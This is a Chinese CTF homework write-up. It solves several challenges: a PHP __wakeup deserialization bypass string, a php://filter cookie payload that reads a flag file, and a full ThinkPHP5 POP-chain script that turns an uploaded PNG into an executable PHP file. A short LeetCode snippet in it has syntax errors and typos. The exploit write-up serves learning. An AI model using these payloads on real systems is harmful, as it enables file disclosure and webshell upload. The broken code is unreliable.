当前位置: 首页 > article >正文

1.21作业

1

 unserialize3

当序列化字符串中属性个数大于实际属性个数时,不会执行反序列化

外部如果是unserialize()会调用wakeup()方法,输出“bad request”——构造url绕过wakeup

类型:public class,直接构造:
O:4:"xctf":1:{s:4:"flag";s:3:"111";} 改为:O:4:"xctf":2:{s:4:"flag";s:3:"111";}

2

“找出攻击者的IP”

http协议中,

可疑:POST了hacker.php,追踪hacker.php,url解码,确认是开了个后门

3

进入

就是base64解码

4

 只出现一次的数字

class Solution{
    public int singleNumber(int[t] nums){
        int result = 0;
        for (int num : nums)}{
            result =resut ^num;
        }
        return result;
    }
}

5

fileinclude

PHP: php:// - Manual

Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

upload3

注册登录,对头像尝试文件上传,但无法执行

进行目录扫描获取源码,TP5框架

profile.php

cookie有个反序列化,审完代码以后可以i使用(覆盖掉filename)

if:前两个判断不用改就可以绕过,进ext_check()判断

然后赋值ext
接下来把 filename_tmp 移动到 filename时,就可以把 png 移动为 php 文件了。

_get()与_call():作用上传图像访问,被访问不存在时调用 upload_img()

register.php:
registed 赋值为 false,checker 赋值为我们的 $profile

从而调用其中的 index 方法,再跳到 upload_img() 了。

<?php
 
namespace app\web\controller;
error_reporting(0);
class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;
 
 
    public function __get($name)
    {
        return $this->except[$name];
    }
 
    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }
 
}
 
class Register
{
    public $checker;
    public $registed;
 
    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }
 
}
 
$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "./upload/e0080b11355313cb26095733241d9209/0412c29576c708cf0155e8de242169b1.png";
$profile->filename = "./upload/e0080b11355313cb26095733241d9209/0412c29576c708cf0155e8de242169b1.php";
 
$register = new Register();
$register->registed = false;
$register->checker = $profile;
 
echo urlencode(base64_encode(serialize($register)));

ThinkPHP5.1反序列化漏洞利用-CSDN博客


http://www.kler.cn/a/557008.html

相关文章:

  • 汽车自动驾驶辅助L2++是什么?
  • 数字人面试
  • STM32 HAL库USART串口DMA IDLE中断编程:避坑指南
  • 机试刷题_编辑距离(二)【python】
  • 【Flink 实战】Flink 中 Akka 通信与内存占用分析
  • 【设计模式】【创建型模式】单例模式(Singleton)
  • golang时间相关函数总结
  • ZLG嵌入式笔记 | 为什么你的网卡工作会不正常?(上
  • Typora的Github主题美化
  • Service Mesh在爱奇艺的落地实践:架构、运维与扩展
  • 微服务即时通信系统---(二)框架学习
  • 迪威模型:引领 3D 模型轻量化技术革新
  • vue从入门到精通(十一):条件渲染
  • 股票与比特币投资困境分析及解决方案
  • FFmpeg中的编码和解码流程
  • 实现动态翻转时钟效果的 HTML、CSS 和 JavaScript,附源码
  • RPC:分布式系统的通信桥梁
  • 【MySQL】索引和视图
  • 【CXX】5 桥接模块参考
  • 【够用就好005】-在VSCode中管理ECS服务器的实操步骤